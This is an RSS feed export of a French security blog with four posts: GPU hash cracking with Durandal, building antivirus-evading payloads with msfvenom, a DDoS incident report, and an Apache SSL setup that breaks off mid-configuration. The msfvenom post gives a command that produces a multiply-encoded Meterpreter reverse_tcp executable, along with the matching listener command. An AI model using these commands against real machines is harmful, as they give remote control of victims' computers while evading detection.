<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Le Blog du grand loup Zeur &#187; Sécurité</title>
	<atom:link href="http://blog.gaetan-grigis.eu/category/securite/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.gaetan-grigis.eu</link>
	<description>Le blog qui vous fait connaitre ce que vous savez déjà</description>
	<lastBuildDate>Tue, 17 Jan 2012 08:43:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Cracking de pass via GPU (Cuda) avec Durandal (MD5, SHA, &#8230;)</title>
		<link>http://blog.gaetan-grigis.eu/securite/cracking-de-pass-via-gpu-cuda-avec-durandal-md5-sha/</link>
		<comments>http://blog.gaetan-grigis.eu/securite/cracking-de-pass-via-gpu-cuda-avec-durandal-md5-sha/#comments</comments>
		<pubDate>Sun, 25 Dec 2011 16:27:10 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[distribué]]></category>
		<category><![CDATA[gpu]]></category>
		<category><![CDATA[md5]]></category>
		<category><![CDATA[sha]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=1134</guid>
		<description><![CDATA[Plop à tous &#8230; quoi de mieux en ces jours de fête que de tester son nouveau matos avec du cracking en GPU &#8230; Le projet que je vais utiliser ici s&#8217;appelle Durandal, et c&#8217;est un projet français !!. Le logiciel en question supporte : Linux/Windows en 32 et 64 bits et est capable de [...]]]></description>
			<content:encoded><![CDATA[<p>Plop à tous &#8230; quoi de mieux en ces jours de fête que de tester son nouveau matos avec du cracking en GPU &#8230;</p>
<p>Le projet que je vais utiliser ici s&#8217;appelle <a href="http://durandal-project.org/">Durandal</a>, et c&#8217;est un projet français !!.<br />
<span id="more-1134"></span><br />
Le logiciel en question supporte :</p>
<p>Linux/Windows en 32 et 64 bits et est capable de péter du MD5,SHA1/256/512,NTLMv1 et MYSQL via GPU par CUDA (pas d&#8217;OpenCL pour le moment), soit par brute force, soit par les <a href="http://fr.wikipedia.org/wiki/Cha%C3%AEne_de_Markov">chaines de markov</a> (j&#8217;ai pas tout lu sur le sujet, mais ça a l&#8217;air passionant xD).</p>
<p>Il fonctionne en distribué (possibilité d&#8217;avoir donc plusieurs machines effectuant les calculs nécessaire au cracking).</p>
<p><strong>CUDA</strong> (partie apparement pas obligatoire)<br />
Pour ce tuto, j&#8217;utilise ubuntu 11.10, avec un Phenom 810 X4 et une GTX260, avec les drivers NVidia de base (depuis la version 260, les drivers fournit proposent un support direct de CUDA, il suffit donc de récupérer et d&#8217;installer le &laquo;&nbsp;CUDA Toolkit for Ubuntu Linux 10.10&#8243;, c&#8217;est juste pour choper le nvcc et générer le cubin plus tard).</p>
<p>Puis on indique les path de cuda dans le ~/.bashrc :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw3">export</span> <span class="re2">PATH=</span><span class="re1">$PATH</span>:<span class="sy0">/</span>usr<span class="sy0">/</span><span class="kw3">local</span><span class="sy0">/</span>cuda<span class="sy0">/</span>bin</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">export</span> <span class="re2">LD_LIBRARY_PATH=</span><span class="re1">$LD_LIBRARY_PATH</span>:<span class="sy0">/</span>usr<span class="sy0">/</span><span class="kw3">local</span><span class="sy0">/</span>cuda<span class="sy0">/</span>lib</div>
</li>
<li class="li1">
<div class="de1"><span class="co0">## a rajouter pour un ubuntu 64 bits</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co0"># export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/cuda/lib64</span></div>
</li>
</ol>
</div>
<p>Ensuite sur ubuntu la version de GCC/G++ est la 4.6 et cuda ne supporte pas les version au-dessus de la 4.5<br />
Donc on install la 4.4, et l&#8217;on créer les update-alternatives pour switcher à nouveau en 4.6, histoire d&#8217;être pas trop crade</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">apt-get <span class="kw2">install</span> g++<span class="nu0">-4.4</span> gcc<span class="nu0">-4.4</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;remove-all <span class="kw2">gcc</span> </div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;remove-all <span class="kw2">g++</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw2">install</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">gcc</span> <span class="kw2">gcc</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span>gcc<span class="nu0">-4.4</span> <span class="nu0">10</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw2">install</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">gcc</span> <span class="kw2">gcc</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span>gcc<span class="nu0">-4.6</span> <span class="nu0">20</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw2">install</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">g++</span> <span class="kw2">g++</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span>g++<span class="nu0">-4.4</span> <span class="nu0">10</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw2">install</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">g++</span> <span class="kw2">g++</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span>g++<span class="nu0">-4.6</span> <span class="nu0">20</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw2">install</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">cc</span> <span class="kw2">cc</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">gcc</span> <span class="nu0">30</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw1">set</span> <span class="kw2">cc</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">gcc</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw2">install</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">c++</span> <span class="kw2">c++</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">g++</span> <span class="nu0">30</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw1">set</span> <span class="kw2">c++</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">g++</span></div>
</li>
</ol>
</div>
<p>Un petit coup de update-alternatives pour switcher entre les version 4.6 et 4.4</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;config <span class="kw2">gcc</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;config <span class="kw2">g++</span></div>
</li>
</ol>
</div>
<p><strong>Durandal</strong></p>
<p>On passe à l&#8217;installation de durandal (la manip est indiqué sur le <a href="http://durandal-project.org/getting_started.html">site web</a>) :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">apt-get <span class="kw2">install</span> cmake <span class="kw2">make</span> <span class="kw2">g++</span> libboost-serialization-dev libboost-thread-dev libboost-system-dev libboost-filesystem-dev libboost-date-time-dev python2<span class="nu0">.6</span> openssl git-core <span class="sy0">&amp;&amp;</span> git clone http:<span class="sy0">//</span>durandal-project.org<span class="sy0">/</span>durandal<span class="sy0">/</span></div>
</li>
</ol>
</div>
<p>Dans le README, il est conseillé de faire un nvcc sur le fichier src/agent/kernels/md5.cu, puis faire un bin/cudump md5.cubin, mais le fichier hpp généré ne peut être utilisé (le build plante, au final, mon GPU sera tout de même détecté et utilisé donc c&#8217;est pas trop grave).</p>
<p>Donc on passe direct à la compil/install.</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw3">cd</span> durandal<span class="sy0">/</span>build <span class="sy0">&amp;&amp;</span> <span class="kw2">sh</span> install_linux.<span class="kw2">sh</span></div>
</li>
</ol>
</div>
<p>Ensuite, il suffit de suivre les instructions des différents executables</p>
<p><strong>durandal.sh</strong>, qui créer le serveur en demandant les ports d&#8217;administration (j&#8217;utilise le port 21000) et de cracking (j&#8217;utilise le port 20000) pour les clients</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw3">cd</span> ..<span class="sy0">/</span>bin <span class="sy0">&amp;&amp;</span> <span class="kw2">sh</span> durandal.<span class="kw2">sh</span></div>
</li>
</ol>
</div>
<p><strong>admin</strong>, qui drope une console d&#8217;admin pour ajouter hashes</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">.<span class="sy0">/</span>admin <span class="nu0">127.0</span><span class="nu0">.0</span><span class="nu0">.1</span> -p <span class="nu0">21000</span> -k mdpadmin</div>
</li>
<li class="li1">
<div class="de1">add bf md5 icivotrehashmd5</div>
</li>
</ol>
</div>
<p>agent, qui permet au client de lancer le cracking (à distance, ou en local)</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">.<span class="sy0">/</span>agent</div>
</li>
</ol>
</div>
<p>Les petits screenshots (avec le md5 mis en exemple sur le site du projet durandal) :</p>
<p>le serveur et la console d&#8217;administration :<br />
<img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/12/durandal-server-admin.png" alt="" title="durandal-server-admin" width="934" height="543" class="aligncenter size-full wp-image-1135" /></p>
<p>le client avec le benchmark à son lancement (sur la même machine dans mon cas), ma GTX260 n&#8217;est pas aussi bien que ce que j&#8217;espérais, mais elle à quand même deux ans ^^ :<br />
<img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/12/agent.png" alt="" title="agent" width="551" height="982" class="aligncenter size-full wp-image-1136" /></p>
<p>Un projet sympa à suivre &#8230;</p>
<p><strong>Ressources : </strong><br />
Durandal : http://durandal-project.org/index.html<br />
Alternative Gcc/G++ : http://askubuntu.com/questions/26498/choose-gcc-and-g-version<br />
CUDA (toolkit et SDK) : http://developer.nvidia.com/cuda-toolkit-40</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1134">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/securite/cracking-de-wpapsk-pyritcowpatty/" rel="bookmark" title="Permanent Link: Cracking de WPA/PSK (Pyrit/CowPatty)">Cracking de WPA/PSK (Pyrit/CowPatty)</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/telechargement-direct-et-linux-tucan/" rel="bookmark" title="Permanent Link: Téléchargement Direct et Linux (Tucan)">Téléchargement Direct et Linux (Tucan)</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/bt3-dans-les-bacs-les-hackeurs-vont-se-regaler/" rel="bookmark" title="Permanent Link: BT3 dans les bacs &#8230; les hackeurs vont se régaler">BT3 dans les bacs &#8230; les hackeurs vont se régaler</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/commandes-linux-sympa/" rel="bookmark" title="Permanent Link: Commandes linux sympa">Commandes linux sympa</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/exemple-de-bot-dauthentification-et-de-clic-en-php/" rel="bookmark" title="Permanent Link: Exemple de Bot d&#8217;Authentification et de clic en Php">Exemple de Bot d&#8217;Authentification et de clic en Php</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/securite/cracking-de-pass-via-gpu-cuda-avec-durandal-md5-sha/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Metasploit : Utilisation de msfvenom pour encoder les payloads</title>
		<link>http://blog.gaetan-grigis.eu/securite/metasploit-utilisation-de-msfvenom-pour-encoder-les-payloads/</link>
		<comments>http://blog.gaetan-grigis.eu/securite/metasploit-utilisation-de-msfvenom-pour-encoder-les-payloads/#comments</comments>
		<pubDate>Tue, 28 Jun 2011 18:26:14 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[encodage]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[meterpreter]]></category>
		<category><![CDATA[reverse]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=1101</guid>
		<description><![CDATA[Plop à tous &#8230; Dans la suite de mon article sur &#171;&#160;le hacking facile&#160;&#187; avec metasploit et meterpreter, voici venu celui avec l&#8217;encodage de payloads dont je parlais rapidement à la fin du précédent article, et que j&#8217;ai supprimé suite à de nombreuses critiques sur des forums de hack (selon eux, le fait de piper [...]]]></description>
			<content:encoded><![CDATA[<p>Plop à tous &#8230;</p>
<p>Dans la suite de mon article sur &laquo;&nbsp;le hacking facile&nbsp;&raquo; avec <a href="http://blog.gaetan-grigis.eu/systeme/metasploit-et-meterpreter-pour-du-piratage-facile/">metasploit et meterpreter</a>, voici venu celui avec l&#8217;encodage de payloads dont je parlais rapidement à la fin du précédent article, et que j&#8217;ai supprimé suite à de nombreuses critiques sur des forums de hack (selon eux, le fait de piper des msfencode en format raw bousillait la payload, mes tests étaient pourtant concluant lors de l&#8217;écriture de l&#8217;article (j&#8217;ai peut-être du me gourrer de payloads mais &#8230; simple question de logique : à quoi d&#8217;autre pouvait donc servir le format raw ?).</p>
<p>Une autre méthode (officielle et plus propre que celle-ci est dispo en anglais : http://www.room362.com/blog/2011/7/17/metasploit-payloads-explained-part-1b.html)<br />
<span id="more-1101"></span><br />
Depuis la dernière version de metasploit un nouvel outil pour encoder est apparu : <a href="https://community.rapid7.com/community/metasploit/blog/2011/05/24/introducing-msfvenom">msfvenom</a> (une fusion de msfpayload et msfencode), et j&#8217;ai donc voulu tester si ce nouvel outil était lui aussi capable de piper les encodages &#8230; et la réponse est Oui ^^.</p>
<p>Alors à quoi ça sert de piper les encodages ? De nombreux antivirus détecte généralement le premier encodage des payloads metasploit, mais si l&#8217;on en met plusieurs à la suite, certain antivirus deviennent inefficace (comme l&#8217;antivirus Comodo à mon grand regret :s).</p>
<p>De base, msfvenom s&#8217;utilise ainsi : </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">msfvenom -p <span class="sy0">&lt;</span>PAYLOAD<span class="sy0">&gt;</span> -e <span class="sy0">&lt;</span>ENCODER<span class="sy0">&gt;</span> -f <span class="sy0">&lt;</span>FORMAT DE SORTIE<span class="sy0">&gt;</span> <span class="sy0">&gt;</span> nomdefichier</div>
</li>
</ol>
</div>
<p>Pour lister les encodages, les nops et les payloads, vous pouvez faire un : </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">msfvenom -l</div>
</li>
</ol>
</div>
<p>Et y&#8217;a de tout : du linux, du windows, du mac, du php, &#8230;</p>
<p>On peut aussi utiliser les options -x et -k pour <a href="http://pauldotcom.com/2010/02/bypassing-av-with-msfencode--x.html">utiliser des templates</a> et contourner certain antivirus en utilisant des executables windows de confiances.</p>
<p>Et pour piper les encodage ?</p>
<p>Pour le premier msfvenom on spécifie la payload, ici un reverse_tcp pour meterpreter, au format raw, l&#8217;encodage (et son itération si l&#8217;envie vous en prend <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ), et pour le second on fournit la platforme et l&#8217;architecture, ainsi que notre encodage et le format (du moment que l&#8217;on reste en raw on devrait pouvoir les piper).</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">msfvenom -p windows<span class="sy0">/</span>meterpreter<span class="sy0">/</span>reverse_tcp -f raw -e x86<span class="sy0">/</span>jmp_call_additive <span class="re2">LHOST=</span><span class="sy0">&lt;</span>NOTRE IP<span class="sy0">&gt;</span> <span class="sy0">|</span> msfvenom -e x86<span class="sy0">/</span>shikata_ga_nai -a x86 &#8211;platform windows -f exe <span class="sy0">&gt;</span> meter.exe</div>
</li>
</ol>
</div>
<p>Et un executable devrait ressortir, ici meter.exe (si cet executable est lancé sur le PC d&#8217;une victime (volontaire <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ), son pc devrait essayer de se connecter sur 192.168.1.12 et sur le port 4444 pour lancer une session meterpreter).</p>
<p>La récupération de la session se fait en utilisant le multi/handler<br />
soit en passant par msfconsole :<br />
<img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/06/msf-multi-handler.png" alt="" title="msf-multi-handler" width="596" height="597" class="aligncenter size-full wp-image-1102" /></p>
<p>soit plus rapidement en passant par msfcli (beaucoup plus rapide) : </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">msfcli multi<span class="sy0">/</span>handler <span class="re2">payload=</span>windows<span class="sy0">/</span>meterpreter<span class="sy0">/</span>reverse_tcp <span class="re2">lhost=</span><span class="nu0">192.168</span><span class="nu0">.1</span><span class="nu0">.12</span> E</div>
</li>
</ol>
</div>
<p>Donc voilà, j&#8217;ai peut être pu me tromper dans mon précédent article, mais maintenant, c&#8217;est officiel, on peut piper du venom ^^.</p>
<p>Bon amusement <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Petite note sur les anti-virus suite à ce test :<br />
Avant ce test, je comptais utiliser Comodo, l&#8217;antivirus/firewall (avec HIPS et sandboxing) qui semblait pas mal efficace, pour remplacer avast qui me semblait pas au top, après le test des encodages de payloads je pense que je vais rester sur avast : il détecte direct la payloads, alors que comodo ne dit rien du tout :s &#8230; (et comodo est plutôt lourd et à tendance à tout sandboxer).</p>
<p>A noter que la dernière version d&#8217;<a href="http://support.avast.com/index.php?_m=knowledgebase&#038;_a=viewarticle&#038;kbarticleid=455#idt_09">Avast comporte un système de sandboxing</a>, reste à voir si il est performant &#8230; celui de Comodo est lourd à souhait :s.</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1101">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/systeme/sortie-de-metasploit-32/" rel="bookmark" title="Permanent Link: Sortie de Metasploit 3.2">Sortie de Metasploit 3.2</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/bt3-dans-les-bacs-les-hackeurs-vont-se-regaler/" rel="bookmark" title="Permanent Link: BT3 dans les bacs &#8230; les hackeurs vont se régaler">BT3 dans les bacs &#8230; les hackeurs vont se régaler</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/metasploit-et-meterpreter-pour-du-piratage-facile/" rel="bookmark" title="Permanent Link: Metasploit et Meterpreter pour du piratage facile ?">Metasploit et Meterpreter pour du piratage facile ?</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/un-projet-de-scanneur-de-vulnerabilite-web-open-source/" rel="bookmark" title="Permanent Link: Un projet de scanneur de vulnérabilités web open source">Un projet de scanneur de vulnérabilités web open source</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/pourrir-des-votes-avec-bash-et-wget/" rel="bookmark" title="Permanent Link: Pourrir des votes avec bash et wget">Pourrir des votes avec bash et wget</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/securite/metasploit-utilisation-de-msfvenom-pour-encoder-les-payloads/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DDoS le retour &#8230; à 5gb/s :s</title>
		<link>http://blog.gaetan-grigis.eu/securite/ddos-le-retour-a-5gbs-s/</link>
		<comments>http://blog.gaetan-grigis.eu/securite/ddos-le-retour-a-5gbs-s/#comments</comments>
		<pubDate>Fri, 08 Apr 2011 07:21:33 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[minefield]]></category>
		<category><![CDATA[online]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=1013</guid>
		<description><![CDATA[Plop à tous Suite à mes articles sur la protection DDoS (soft et hard en logiciel &#8230;), le serveur que je protegeais (minefield) à subit d&#8217;autres attaques DDoS de plus en plus forte &#8230; jusqu&#8217;à il y a peu une attaque à 5gb/s qui à finalement provoquée la fermeture du serveur par l&#8217;hébergeur. D&#8217;abord une [...]]]></description>
			<content:encoded><![CDATA[<p>Plop à tous</p>
<p>Suite à mes articles sur la protection DDoS (<a href="http://blog.gaetan-grigis.eu/securite/protection-ddos-soft/">soft</a> et <a href="http://blog.gaetan-grigis.eu/systeme/protection-ddos-et-ban-de-masse/">hard</a> en logiciel &#8230;), le serveur que je protegeais (<a href="http://www.minefield.fr/">minefield</a>) à subit d&#8217;autres attaques DDoS de plus en plus forte &#8230; jusqu&#8217;à il y a peu une attaque à 5gb/s qui à finalement provoquée la fermeture du serveur par l&#8217;hébergeur.<br />
<span id="more-1013"></span><br />
D&#8217;abord une à 100mb/s pendant 5/10 minutes mercredi 30 mars, que personne n&#8217;aura senti, <a href="http://www.online.net/serveur-dedie/offre-dedibox-pro-r410.xhtml">notre machine</a> branchée en 1Gb/s tiendra le choc sans souci, et le firewall a très bien fait son boulot, aucun service ne crashera et aucun d&#8217;eux ne sera même ralenti.</p>
<p>La suivante du samedi 2 avril (à 981mb/s sur le graphe &#8230;  à 5gb/s selon l&#8217;hébergeur) saturera complètement notre baie (45 machines sur un routeur 10Gb) nous sera fatale (il parait que c&#8217;est même pour ça que tout le réseau d&#8217;online à été ralentie pendant ce week-end, provoquant la coupure d&#8217;autres machines sur la même baie) :<br />
<img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/04/Attaque.png" alt="" title="Attaque" width="621" height="341" class="aligncenter size-full wp-image-1014" /></p>
<p>Sans revenir dans les détails, sur les milliers d&#8217;ip qui nous ont assailli, seule 200 ip on passées notre première règle anti-ddos (le hitcount de la protection soft), et se sont retrouvés définitivement banni par la protection &laquo;&nbsp;hard&nbsp;&raquo; (en hosts.deny et en règles iptables), aucune n&#8217;aura été fatale pour les services en eux-mêmes, les graphes de ram et de cpu nous montre que l&#8217;attaque a entièrement (en grande partie) été encaissée par le firewall.</p>
<p>Lorsque j&#8217;ai mis ces protections en place, je ne pensais pas que ça allait être très efficace sur de très grosses attaques (ok tout est relatif, mais pour un amateur, se prendre du 5gb/s c&#8217;est quand même une consécration ^^ d&#8217;autant plus que c&#8217;était pour protéger des petits cubes), cette attaque m&#8217;a permit de constater qu&#8217;iptable est un outil très puissant et sur lequel on peut compter même sur de grosses attaques, mon seul regret a été la réaction d&#8217;online, qui ne nous a même pas proposé de passer sur des services &laquo;&nbsp;pro&nbsp;&raquo;, ou même juste nous filer d&#8217;autres ip (branchées sur d&#8217;autres ports du switch ou sur un autre routeur) pour faire du bonding (notre machine possédait plusieurs cartes ethernet) et faire de la répartition de charge (aurait-ce été suffisant pour contrer cette attaque ?).</p>
<p>Donc voilà, chez online vous avez du super matos pour un prix défiant toute concurrence, mais vous n&#8217;avez pas de SAV digne de ce nom : les admins de minefield sont allés sur leur chan IRC chercher de l&#8217;aide, ils n&#8217;ont eu que des insultes (des &laquo;&nbsp;propos&nbsp;&raquo; insultant et non des insultes en soi) en retour, les différentes demandes de prises de contacts ont toutes échouées (par mail et par ticket). Tant que vous n&#8217;avez pas de problème, online c&#8217;est génial, après, faut voir ailleurs.</p>
<p>En espérant un prompt rétablissement de minefield, en outre-rhin cette fois, nous testerons la &laquo;&nbsp;Deutsche Qualität&nbsp;&raquo;, avec un réseau redondant et parait-il protégé en &laquo;&nbsp;partie&nbsp;&raquo; contre les DDoS (possibilité d&#8217;ignorer des ip/plage directement sur les routeurs en amont).</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1013">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/programmation/checker-la-validite-dune-adresse-mail-en-php-via-smtp/" rel="bookmark" title="Permanent Link: Checker la validité d&#8217;une adresse mail en PHP via SMTP">Checker la validité d&#8217;une adresse mail en PHP via SMTP</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/tentative-de-hack-quand-les-kikoolols-attaquent/" rel="bookmark" title="Permanent Link: Tentative de Hack &#8230; quand les kikoolols attaquent!!!">Tentative de Hack &#8230; quand les kikoolols attaquent!!!</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/exemple-de-bot-dauthentification-et-de-clic-en-php/" rel="bookmark" title="Permanent Link: Exemple de Bot d&#8217;Authentification et de clic en Php">Exemple de Bot d&#8217;Authentification et de clic en Php</a></li><li><a href="http://blog.gaetan-grigis.eu/securite/protection-ddos-soft/" rel="bookmark" title="Permanent Link: Protection Ddos (soft)">Protection Ddos (soft)</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/syn-flooding-optimisation-php/" rel="bookmark" title="Permanent Link: Syn Flooding, optimisation PHP, &#8230;">Syn Flooding, optimisation PHP, &#8230;</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/securite/ddos-le-retour-a-5gbs-s/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>SSL via GNUTLS sur apache2</title>
		<link>http://blog.gaetan-grigis.eu/systeme/administration/ssl-via-gnutls-sur-apache2/</link>
		<comments>http://blog.gaetan-grigis.eu/systeme/administration/ssl-via-gnutls-sur-apache2/#comments</comments>
		<pubDate>Sat, 12 Mar 2011 14:42:58 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Administration]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[sni]]></category>
		<category><![CDATA[ssl]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=1001</guid>
		<description><![CDATA[Plop à tous &#8230; Aujourd&#8217;hui j&#8217;ai joué a &#171;&#160;qui a la plus grosse&#160;&#187; config ssl et c&#8217;est là que j&#8217;ai remarqué que le mod_ssl d&#8217;apache ne supportait que les protocoles SSLv3 et TLSv1.0 (le TLSv1.1 est en cours de dev) ce qui donnait un score pitoyable à mon blog sur ssllabs (qui permet d&#8217;avoir une [...]]]></description>
			<content:encoded><![CDATA[<p>Plop à tous &#8230;</p>
<p>Aujourd&#8217;hui j&#8217;ai joué a &laquo;&nbsp;qui a la plus grosse&nbsp;&raquo; config ssl et c&#8217;est là que j&#8217;ai remarqué que le mod_ssl d&#8217;apache ne supportait que les protocoles SSLv3 et TLSv1.0 (le TLSv1.1 est en cours de dev) ce qui donnait un score pitoyable à mon blog sur <a href="https://www.ssllabs.com">ssllabs</a> (qui permet d&#8217;avoir une idée du niveau de sécurité de l&#8217;implémentation ssl/tls d&#8217;un serveur web).</p>
<p><a href="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/03/mod_ssl.png"><img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/03/mod_ssl.png" alt="" title="mod_ssl" width="787" height="327" class="aligncenter size-full wp-image-1002" /></a><br />
(Au passage certaine banques françaises en sont encore au niveau F, donc c&#8217;était déjà pas trop mal pour un blog ^^).</p>
<p><span id="more-1001"></span></p>
<p>Ma configuration pour le mod_ssl ressemblait à ça, avec un certificat gratuit de chez startssl : </p>
<div class="geshi no config">
<ol>
<li class="li1">
<div class="de1">&lt;VirtualHost *:443&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;ServerName blog.gaetan-grigis.eu
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;DocumentRoot /dossier/de/mon/blog
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;SSLEngine on
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;SSLProtocol -all +TLSv1
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;SSLCipherSuite ALL:-kEDH:-RC2:-MD5:-RC4:-DES
</div>
</li>
<li class="li1">
